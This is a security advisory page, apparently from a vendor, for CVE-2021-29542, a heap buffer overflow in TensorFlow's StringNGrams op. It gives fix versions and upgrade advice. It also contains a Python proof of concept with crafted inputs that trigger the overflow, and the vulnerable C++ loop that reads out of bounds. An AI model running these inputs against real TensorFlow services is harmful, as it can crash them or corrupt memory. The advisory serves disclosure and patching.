CVE-2021-29542

Heap buffer overflow in StringNGrams

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Attribution

This vulnerability has been reported by Yakun Zhang and Ying Wang of Baidu X-Team.

An attacker can cause a heap buffer overflow by passing crafted inputs to tf.raw_ops.StringNGrams:

import tensorflow as tf

separator = b'\x02\x00'    
ngram_widths = [7, 6, 11]
left_pad = b'\x7f\x7f\x7f\x7f\x7f'
right_pad = b'\x7f\x7f\x25\x5d\x53\x74'
pad_width = 50
preserve_short_sequences = True
  
l = ['', '', '', '', '', '', '', '', '', '', '']
  
data = tf.constant(l, shape=[11], dtype=tf.string)
  
l2 = [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
     0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
     0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
     0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
     0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
     0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
     0, 0, 3]
data_splits = tf.constant(l2, shape=[116], dtype=tf.int64)

out = tf.raw_ops.StringNGrams(data=data,
    data_splits=data_splits, separator=separator,
    ngram_widths=ngram_widths, left_pad=left_pad,
    right_pad=right_pad, pad_width=pad_width,
    preserve_short_sequences=preserve_short_sequences)

This is because the implementation fails to consider corner cases where input would be split in such a way that the generated tokens should only contain padding elements:

for (int ngram_index = 0; ngram_index < num_ngrams; ++ngram_index) {
  int pad_width = get_pad_width(ngram_width);
  int left_padding = std::max(0, pad_width - ngram_index);
  int right_padding = std::max(0, pad_width - (num_ngrams - (ngram_index + 1)));
  int num_tokens = ngram_width - (left_padding + right_padding);
  int data_start_index = left_padding > 0 ? 0 : ngram_index - pad_width;
  ...
  tstring* ngram = &output[ngram_index];
  ngram->reserve(ngram_size);
  for (int n = 0; n < left_padding; ++n) {
    ngram->append(left_pad_);
    ngram->append(separator_);
  }
  for (int n = 0; n < num_tokens - 1; ++n) {
    ngram->append(data[data_start_index + n]);
    ngram->append(separator_);
  }
  ngram->append(data[data_start_index + num_tokens - 1]); // <<<
  for (int n = 0; n < right_padding; ++n) {
    ngram->append(separator_);
    ngram->append(right_pad_);
  }
  ...
}

If input is such that num_tokens is 0, then, for data_start_index=0 (when left padding is present), the marked line would result in reading data[-1].

A write operation targets a memory location beyond the intended buffer boundary. Typical impact: memory corruption, crash, or arbitrary code execution.

CVE-2021-29542 has a CVSS score of 2.5 (Low). The vector is requires local access, low privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (2.1.4, 2.2.3, 2.3.3, 2.4.2); upgrading removes the vulnerable code path.

Kodem intelligence

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We have patched the issue in GitHub commit ba424dd8f16f7110eea526a8086f1a155f14f22b.

The fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.

1. What is CVE-2021-29542? CVE-2021-29542 is a low-severity out-of-bounds write vulnerability in tensorflow (pip), affecting versions < 2.1.4. It is fixed in 2.1.4, 2.2.3, 2.3.3, 2.4.2. A write operation targets a memory location beyond the intended buffer boundary.
2. How severe is CVE-2021-29542? CVE-2021-29542 has a CVSS score of 2.5 (Low). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which packages are affected by CVE-2021-29542?
   • tensorflow (pip) (versions < 2.1.4)
   • tensorflow-cpu (pip) (versions < 2.1.4)
   • tensorflow-gpu (pip) (versions < 2.1.4)
4. Is there a fix for CVE-2021-29542? Yes. CVE-2021-29542 is fixed in 2.1.4, 2.2.3, 2.3.3, 2.4.2. Upgrade to this version or later.
5. Is CVE-2021-29542 exploitable, and should I be worried? Whether CVE-2021-29542 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2021-29542 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2021-29542?
   • Upgrade tensorflow to 2.1.4 or later
   • Upgrade tensorflow to 2.2.3 or later
   • Upgrade tensorflow to 2.3.3 or later
   • Upgrade tensorflow to 2.4.2 or later
   • Upgrade tensorflow-cpu to 2.1.4 or later
   • Upgrade tensorflow-cpu to 2.2.3 or later
   • Upgrade tensorflow-cpu to 2.3.3 or later
   • Upgrade tensorflow-cpu to 2.4.2 or later
   • Upgrade tensorflow-gpu to 2.1.4 or later
   • Upgrade tensorflow-gpu to 2.2.3 or later
   • Upgrade tensorflow-gpu to 2.3.3 or later
   • Upgrade tensorflow-gpu to 2.4.2 or later

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